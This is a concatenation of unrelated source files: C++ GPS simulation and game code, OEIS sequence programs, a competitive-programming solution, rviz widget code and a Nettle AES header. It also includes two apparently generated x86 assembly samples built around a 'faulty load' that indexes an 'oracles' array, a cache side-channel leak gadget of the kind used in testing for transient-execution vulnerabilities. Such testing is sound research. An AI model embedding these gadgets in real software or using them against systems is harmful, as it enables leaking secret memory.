timer_.async_wait(std::bind(&FakeLocationProvider::compute_next_location, this));
sleep(1);
}
if (count_++ < 40) {
location_callback_(latitude_deg_, longitude_deg_);
longitude_deg_ -= LONGITUDE_DEG_PER_METER * 4;
timer_.expires_at(timer_.expires_at() + boost::posix_time::seconds(1));
timer_.async_wait(std::bind(&FakeLocationProvider::compute_next_location, this));
sleep(1);
}
if (count_++ < 50) {
location_callback_(latitude_deg_, longitude_deg_);
latitude_deg_ -= LATITUDE_DEG_PER_METER * 3;
timer_.expires_at(timer_.expires_at() + boost::posix_time::seconds(1));
timer_.async_wait(std::bind(&FakeLocationProvider::compute_next_location, this));
sleep(1);
}
if (count_++ < MAX_LOCATIONS) {
location_callback_(latitude_deg_, longitude_deg_);
longitude_deg_ += LONGITUDE_DEG_PER_METER * 3;
timer_.expires_at(timer_.expires_at() + boost::posix_time::seconds(1));
timer_.async_wait(std::bind(&FakeLocationProvider::compute_next_location, this));
sleep(1);
}
}
const size_t FakeLocationProvider::MAX_LOCATIONS = 60u;
const double FakeLocationProvider::LATITUDE_DEG_PER_METER = 0.000009044;
const double FakeLocationProvider::LONGITUDE_DEG_PER_METER = 0.000008985;
|
#include <iostream>
#include <math.h>
#include <vector>
#include <chrono>
#include <thread>
#include <atomic>
// #include <SFML/Graphics.hpp>
#include "ivec.hpp"
#include "server/server.hpp"
#include "objects/wall.hpp"
#include "objects/player.hpp"
#include "client/client.hpp"
int main() {
std::cout << "Main Thread " << std::hex << std::this_thread::get_id() << " is here\n";
Server myfirstserver = Server();
Server_ini sv_ini;
sv_ini.cycletime = std::chrono::milliseconds(50);
myfirstserver.ini(sv_ini);
myfirstserver.start();
for (uint64_t i = 0; i < 2; ++i) {
myfirstserver.load(iVec2(2, i));
myfirstserver.generate(iVec2(2, i));
myfirstserver.wake(iVec2(2, i));
}
sf::Texture wall;
wall.loadFromFile("textures/brick_wall32.png");
sf::Texture mandrio;
mandrio.loadFromFile("textures/mandrio.png");
Wall entity = Wall();
entity.sprite.setTexture(wall);
myfirstserver.chunks[iVec2(2, 0)].add(&entity);
Player player = Player();
player.chunk = &myfirstserver.chunks[iVec2(2, 0)];
player.server = &myfirstserver;
player.sprite.setTexture(mandrio);
myfirstserver.chunks[iVec2(2, 0)].add(&player);
Client myfirstclient = Client();
myfirstclient.change_follow(&player);
myfirstclient.run();
// std::this_thread::sleep_for (std::chrono::milliseconds(250));
// std::cout << "Main Thread " << std::hex << std::this_thread::get_id() << " have slept and unload 2\n";
std::cout << "Size: " << std::dec << sizeof(Thing) << "\n";
return 0;
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x3b3c, %rbp
xor $301, %r15
mov $0x6162636465666768, %r9
movq %r9, %xmm7
vmovups %ymm7, (%rbp)
nop
nop
nop
nop
cmp $38978, %r9
lea addresses_UC_ht+0x1b03c, %r14
nop
nop
nop
cmp $50054, %rcx
movw $0x6162, (%r14)
nop
cmp %r14, %r14
lea addresses_UC_ht+0x1e57c, %rsi
lea addresses_WC_ht+0xfd7c, %rdi
clflush (%rsi)
nop
add %r11, %r11
mov $119, %rcx
rep movsl
nop
nop
nop
nop
cmp %r14, %r14
lea addresses_normal_ht+0x44fc, %r15
nop
nop
xor %rcx, %rcx
movb (%r15), %r14b
nop
xor $59022, %rbp
lea addresses_WC_ht+0x11d7c, %rcx
nop
nop
nop
nop
sub %r9, %r9
mov $0x6162636465666768, %r15
movq %r15, (%rcx)
nop
nop
nop
xor %r11, %r11
lea addresses_D_ht+0x1d166, %r15
nop
nop
nop
dec %rsi
and $0xffffffffffffffc0, %r15
vmovntdqa (%r15), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r9
nop
and %r9, %r9
lea addresses_D_ht+0x17c, %rdi
nop
nop
nop
nop
and $61911, %r11
mov (%rdi), %r9d
nop
nop
nop
nop
nop
xor $34905, %rbp
lea addresses_UC_ht+0x32cc, %rsi
add $40912, %r15
movl $0x61626364, (%rsi)
nop
nop
add %r9, %r9
lea addresses_WC_ht+0x1040a, %r9
nop
nop
nop
nop
nop
inc %rsi
movb $0x61, (%r9)
nop
nop
nop
nop
sub %r9, %r9
lea addresses_WT_ht+0x397c, %rdi
nop
add $47785, %rsi
mov $0x6162636465666768, %r9
movq %r9, %xmm7
and $0xffffffffffffffc0, %rdi
movntdq %xmm7, (%rdi)
nop
nop
nop
nop
nop
and $64397, %rbp
lea addresses_A_ht+0x15bbe, %r15
nop
nop
nop
cmp %rbp, %rbp
movw $0x6162, (%r15)
nop
nop
nop
xor %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %rdi
push %rdx
// Faulty Load
lea addresses_A+0xa97c, %r14
cmp %r12, %r12
mov (%r14), %edx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 7, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': True, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A174060: Sum_{k=1..n} {floor(sqrt(k))^2}.
; Submitted by Jon Maiga
; 0,1,2,3,7,11,15,19,23,32,41,50,59,68,77,86,102,118,134,150,166,182,198,214,230,255,280,305,330,355,380,405,430,455,480,505,541,577,613,649,685,721,757,793,829,865,901,937,973,1022,1071,1120,1169,1218,1267,1316
mov $3,1
lpb $0
mov $2,$3
mul $2,$0
add $1,$2
add $3,2
trn $0,$3
lpe
mov $0,$1
|
; A030897: [ exp(3/17)*n! ].
; Submitted by Jamie Morken(s4)
; 1,2,7,28,143,858,6012,48101,432915,4329155,47620715,571448591,7428831692,104003643691,1560054655379,24960874486078,424334866263326,7638027592739873,145122524262057596,2902450485241151923
add $0,1
mov $2,1
lpb $0
div $1,2
mul $1,2
mul $2,$0
sub $0,1
add $1,1
mul $1,3
div $1,17
add $1,$2
lpe
mov $0,$1
|
// atcoder/abc179/F/main.cpp
// author: @___Johniel
// github: https://github.com/johniel/
#include <bits/stdc++.h>
#define each(i, c) for (auto& i : c)
#define unless(cond) if (!(cond))
using namespace std;
template<typename P, typename Q> ostream& operator << (ostream& os, pair<P, Q> p) { os << "(" << p.first << "," << p.second << ")"; return os; }
template<typename P, typename Q> istream& operator >> (istream& is, pair<P, Q>& p) { is >> p.first >> p.second; return is; }
template<typename T> ostream& operator << (ostream& os, vector<T> v) { os << "("; for (auto& i: v) os << i << ","; os << ")"; return os; }
template<typename T> istream& operator >> (istream& is, vector<T>& v) { for (auto& i: v) is >> i; return is; }
template<typename T> ostream& operator << (ostream& os, set<T> s) { os << "#{"; for (auto& i: s) os << i << ","; os << "}"; return os; }
template<typename K, typename V> ostream& operator << (ostream& os, map<K, V> m) { os << "{"; for (auto& i: m) os << i << ","; os << "}"; return os; }
template<typename T> inline T setmax(T& a, T b) { return a = std::max(a, b); }
template<typename T> inline T setmin(T& a, T b) { return a = std::min(a, b); }
using lli = long long int;
using ull = unsigned long long;
using point = complex<double>;
using str = string;
template<typename T> using vec = vector<T>;
constexpr array<int, 8> di({0, 1, -1, 0, 1, -1, 1, -1});
constexpr array<int, 8> dj({1, 0, 0, -1, 1, -1, -1, 1});
constexpr lli mod = 1e9 + 7;
template<typename T=long long int>
class LazySegTree {
public:
using merge_fn = function<T(T,T)>;
using propagate_fn = function<T(T,T)>;
using apply_fn = function<T(T,T,size_t)>;
LazySegTree(int n_, merge_fn m_, propagate_fn p_, apply_fn a_, T em_, T ep_)
: m(m_), p(p_), a(a_), em(em_), ep(ep_)
{
size_ = n_;
n = 1;
while (n < n_) n *= 2;
value.resize(n * 2 - 1, em);
lazy.resize(n * 2 - 1, ep);
}
T query(size_t begin, size_t end)
{
assert(begin < end);
assert(end <= size_);
return query(begin, end, 0, 0, n);
}
T update(size_t begin, size_t end, T x)
{
assert(begin < end);
assert(end <= size_);
return update(begin, end, x, 0, 0, n);
}
static bool verify(void) {
using input = struct {
int begin, end, value;
};
vector<input> v;
v.push_back({0, 5, 1 << 0});
v.push_back({8, 9, 1 << 2});
v.push_back({3, 6, 1 << 3});
constexpr int N = 10;
LazySegTree<int>::merge_fn m = [] (int a, int b) {
return a + b;
};
LazySegTree<int>::propagate_fn p = [] (int a, int b) {
return a + b;
};
LazySegTree<int>::apply_fn a = [] (int a, int b, size_t len) {
return a + b * len;
};
LazySegTree<int> segtree(N, m, p, a, 0, 0);
int sum[N];
fill(begin(sum), end(sum), 0);
for (int i = 0; i < v.size(); ++i) {
for (int j = v[i].begin; j < v[i].end; ++j) {
sum[j] += v[i].value;
}
}
for (int i = 0; i < v.size(); ++i) {
segtree.update(v[i].begin, v[i].end, v[i].value);
}
for (int i = 0; i < N; ++i) {
int expected = 0;
for (int j = i; j < N; ++j) {
expected += sum[j];
if (expected != segtree.query(i, j + 1)) return false;
}
}
return true;
}
void show(int idx = 0, int depth = 0) {
if (idx < value.size()) {
cout << string(depth, ' ') << make_pair(value[idx], lazy[idx]) << endl;
show(idx * 2 + 1, depth + 2);
show(idx * 2 + 2, depth + 2);
}
return ;
}
private:
vector<T> value;
vector<T> lazy;
int n;
size_t size_;
merge_fn m;
apply_fn a;
propagate_fn p;
T em;
T ep;
void propagate(int k, size_t l, size_t r) {
if (lazy[k] == ep) return ;
if(r - l > 1) {
lazy[2 * k + 1] = p(lazy[2 * k + 1], lazy[k]);
lazy[2 * k + 2] = p(lazy[2 * k + 2], lazy[k]);
}
value[k] = a(value[k], lazy[k], r - l);
lazy[k] = ep;
return ;
}
T update(size_t begin, size_t end, T x, size_t k, size_t l, size_t r) {
propagate(k, l, r);
if (r <= begin || end <= l) return value[k];
if (begin <= l && r <= end) {
lazy[k] = p(lazy[k], x);
propagate(k, l, r);
return value[k];
} else {
T vl = update(begin, end, x, k * 2 + 1, l, (l + r) / 2);
T vr = update(begin, end, x, k * 2 + 2, (l + r) / 2, r);
return value[k] = m(vl, vr);
}
}
T query(size_t begin, size_t end, size_t k, size_t l, size_t r) {
if (r <= begin || end <= l) return em;
propagate(k, l, r);
if (begin <= l && r <= end) {
return value[k];
} else {
T vl = query(begin, end, k * 2 + 1, l, (l + r) / 2);
T vr = query(begin, end, k * 2 + 2, (l + r) / 2, r);
return m(vl, vr);
}
}
};
int main(int argc, char *argv[])
{
ios_base::sync_with_stdio(0);
cin.tie(0);
cout.setf(ios_base::fixed);
cout.precision(15);
lli n, q;
while (cin >> n >> q) {
n -= 2;
const int N = 2 * 1e5 + 5;
LazySegTree<lli> seg_h(
n,
[] (auto a, auto b) { return min(a, b); },
[] (auto a, auto b) { return min(a, b); },
[] (auto a, auto b, size_t len) { return min(a, b); },
n,
1 << 29
);
LazySegTree<lli> seg_w(
n,
[] (auto a, auto b) { return min(a, b); },
[] (auto a, auto b) { return min(a, b); },
[] (auto a, auto b, size_t len) { return min(a, b); },
n,
1 << 29
);
// seg_h.show();
// seg_w.show();
// cout << ">> H" << endl; for (int i = 0; i < n - 2; ++i) cout << seg_h.query(i, i + 1) << ", "; cout << endl;
// cout << ">> W" << endl; for (int i = 0; i < n - 2; ++i) cout << seg_w.query(i, i + 1) << ", "; cout << endl;
lli sum = 0;
while (q--) {
int op, x;
cin >> op >> x;
x -= 2;
// cout << op << ' ' << x << endl;
if (op == 1) {
// cout << seg_h.query(x, x + 1) << endl;
// cout << seg_h.query(x, x + 1) << endl;
sum += seg_h.query(x, x + 1);
int y = seg_h.query(x, x + 1);
if (0 < y) seg_w.update(0, y, x);
seg_h.update(x, x + 1, 0);
}
if (op == 2) {
// cout << seg_w.query(x, x + 1) << endl;
// cout << seg_w.query(x, x + 1) << endl;
sum += seg_w.query(x, x + 1);
int y = seg_w.query(x, x + 1);
if (0 < y) seg_h.update(0, y, x);
seg_w.update(x, x + 1, 0);
}
// cout << ">> H" << endl; for (int i = 0; i < n - 2; ++i) cout << seg_h.query(i, i + 1) << ", "; cout << endl;
// cout << ">> W" << endl; for (int i = 0; i < n - 2; ++i) cout << seg_w.query(i, i + 1) << ", "; cout << endl;
// seg_h.show();
// cout << ">> W" << endl; seg_w.show();
// cout << ">> H" << endl; seg_h.show();
}
cout << n * n - sum << endl;
// break;
}
return 0;
}
|
/*
* Copyright (c) 2011, Willow Garage, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the Willow Garage, Inc. nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "ogre_helpers/render_widget.h"
#include "ogre_helpers/render_system.h"
#include <OgreRenderWindow.h>
#include <QtGlobal>
#include <QApplication>
#include <QMoveEvent>
#include <QPaintEvent>
#include <QShowEvent>
#include <QVBoxLayout>
#if QT_VERSION >= QT_VERSION_CHECK(5, 0, 0)
#include <QWindow>
#endif
namespace rviz
{
RenderWidget::RenderWidget( RenderSystem* render_system, QWidget *parent )
: QWidget( parent )
, render_system_( render_system )
, render_window_( nullptr )
{
setAttribute(Qt::WA_OpaquePaintEvent,true);
setAttribute(Qt::WA_PaintOnScreen,true);
#if QT_VERSION < QT_VERSION_CHECK(5, 0, 0)
// It is not clear to me why, but having this frame sub-widget
// inside the main widget makes an important difference (under X at
// least). Without the frame and using this widget's winId()
// below causes trouble when using RenderWidget as a child
// widget. The frame graphics are completely covered up by the 3D
// render, so using it does not affect the appearance at all.
this->renderFrame = new QFrame;
this->renderFrame->setLineWidth(1);
this->renderFrame->setFrameShadow(QFrame::Sunken);
this->renderFrame->setFrameShape(QFrame::Box);
this->renderFrame->show();
QVBoxLayout *mainLayout = new QVBoxLayout;
mainLayout->setContentsMargins( 0, 0, 0, 0 );
mainLayout->addWidget(this->renderFrame);
this->setLayout(mainLayout);
#endif
#if QT_VERSION < QT_VERSION_CHECK(5, 0, 0)
rviz::RenderSystem::WindowIDType win_id = this->renderFrame->winId();
#else
rviz::RenderSystem::WindowIDType win_id = this->winId();
#endif
QApplication::flush();
#if QT_VERSION < QT_VERSION_CHECK(5, 0, 0)
QApplication::syncX();
#else
QApplication::sync();
#endif
render_window_ = render_system_->makeRenderWindow(win_id, width(), height(), pixelRatio());
}
RenderWidget::~RenderWidget()
{
if( render_window_ )
{
render_window_->removeViewport( 0 );
render_window_->destroy();
}
render_window_ = 0;
}
void RenderWidget::moveEvent(QMoveEvent *e)
{
QWidget::moveEvent(e);
if(e->isAccepted() && render_window_)
{
render_window_->windowMovedOrResized();
}
}
void RenderWidget::paintEvent(QPaintEvent *e)
{
if( render_window_ )
{
render_window_->update();
}
e->accept();
}
void RenderWidget::resizeEvent(QResizeEvent *)
{
if( render_window_ )
{
// render_window_->writeContentsToFile() (used in
// VisualizationFrame::onSaveImage()) does not work right for
// window with an odd width, so here I just always force it to be
// even.
const qreal ratio = pixelRatio();
const int w = width() * ratio;
render_window_->resize(w + (w % 2), height() * ratio);
render_window_->windowMovedOrResized();
}
}
qreal RenderWidget::pixelRatio() const
{
#if QT_VERSION < QT_VERSION_CHECK(5, 0, 0)
return 1.0;
#else
QWindow* window = windowHandle();
return window ? window->devicePixelRatio() : 1.0;
#endif
}
} // end namespace rviz
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r8
lea addresses_normal_ht+0x43d4, %r11
nop
xor %r14, %r14
movl $0x61626364, (%r11)
nop
nop
nop
add $50367, %r13
pop %r8
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r9
push %rax
push %rbp
push %rdi
push %rsi
// Faulty Load
lea addresses_A+0xb994, %rsi
nop
nop
nop
cmp $24332, %rax
mov (%rsi), %rdi
lea oracles, %rsi
and $0xff, %rdi
shlq $12, %rdi
mov (%rsi,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rbp
pop %rax
pop %r9
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A065355: a(n) = n! - Sum_{k=0..n-1} k!.
; 1,0,0,2,14,86,566,4166,34406,316646,3219686,35878886,435046886,5704064486,80428314086,1213746099686,19521187251686,333363035571686,6024361885107686,114864714882483686,2304476522241459686,48529614677597619686,1070348458111786419686,24674363741441547699686,593418731996911033779686,14863731971861418139059686,387132773011805081755059686,10469419301176945971355059686,293580025012054102151323059686,8525565329528328335691931059686,256094901154239983062913179059686,7948427835707780683515859099059686
mov $1,1
lpb $0
mul $1,$0
sub $0,1
sub $1,1
lpe
mov $0,$1
|
; A056834: a(n) = floor(n^2/7).
; 0,0,0,1,2,3,5,7,9,11,14,17,20,24,28,32,36,41,46,51,57,63,69,75,82,89,96,104,112,120,128,137,146,155,165,175,185,195,206,217,228,240,252,264,276,289,302,315,329,343,357,371,386,401,416,432,448,464,480,497,514,531,549,567,585,603,622,641,660,680,700,720,740,761,782,803,825,847,869,891,914,937,960,984,1008,1032,1056,1081,1106,1131,1157,1183,1209,1235,1262,1289,1316,1344,1372,1400
pow $0,2
div $0,7
|
C arm/aes-encrypt-internal.asm
ifelse(<
Copyright (C) 2013 Niels Möller
This file is part of GNU Nettle.
GNU Nettle is free software: you can redistribute it and/or
modify it under the terms of either:
* the GNU Lesser General Public License as published by the Free
Software Foundation; either version 3 of the License, or (at your
option) any later version.
or
* the GNU General Public License as published by the Free
Software Foundation; either version 2 of the License, or (at your
option) any later version.
or both in parallel, as here.
GNU Nettle is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received copies of the GNU General Public License and
the GNU Lesser General Public License along with this program. If
not, see http://www.gnu.org/licenses/.
>)
include_src(<arm/aes.m4>)
C Benchmarked at at 725, 815, 990 cycles/block on cortex A9,
C for 128, 192 and 256 bit key sizes.
C Possible improvements: More efficient load and store with
C aligned accesses. Better scheduling.
define(<PARAM_ROUNDS>, <r0>)
define(<PARAM_KEYS>, <r1>)
define(<TABLE>, <r2>)
define(<PARAM_LENGTH>, <r3>)
C On stack: DST, SRC
